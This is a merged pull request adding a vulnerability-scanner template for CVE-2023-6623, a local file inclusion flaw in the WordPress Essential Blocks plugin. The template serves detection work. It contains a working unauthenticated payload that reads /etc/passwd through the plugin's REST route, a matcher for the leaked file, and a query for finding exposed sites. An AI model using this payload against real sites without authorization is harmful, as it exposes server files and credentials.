Merge pull request #8905 from AaronChen0/CVE-2023-6623

Create CVE-2023-6623.yaml

http/cves/2023/CVE-2023-6623.yaml

@@ -0,0 +1,39 @@
+id: CVE-2023-6623
+
+info:
+  name: Essential Blocks < 4.4.3 - Local File Inclusion
+  author: iamnoooob,rootxharsh,pdresearch,coldfish
+  severity: critical
+  description: |
+    Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site.
+  impact: |
+    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
+  remediation: |
+    Upgrade to the latest version of Essential Blocks 4.4.3 to fix this issue.
+  reference:
+    - https://wpscan.com/blog/file-inclusion-vulnerability-fixed-in-essential-blocks-4-4-3/
+    - https://flysec-blog.blogspot.com/2024/01/cve-2023-6623-file-inclusion.html
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6623
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-6623
+  metadata:
+    max-request: 2
+    verified: true
+    publicwww-query: "/wp-content/plugins/essential-blocks/"
+  tags: cve,cve2023,wp,wp-plugin,wordpress,essential-blocks,lfi
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={"__file":"/etc%2fpasswd"}'
+      - '{{BaseURL}}/wp-content/plugins/essential-blocks/readme.txt'
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "regex('root:.*:0:0:', body_1)"
+          - 'contains(body_2, "Essential Blocks – Page")'
+        condition: and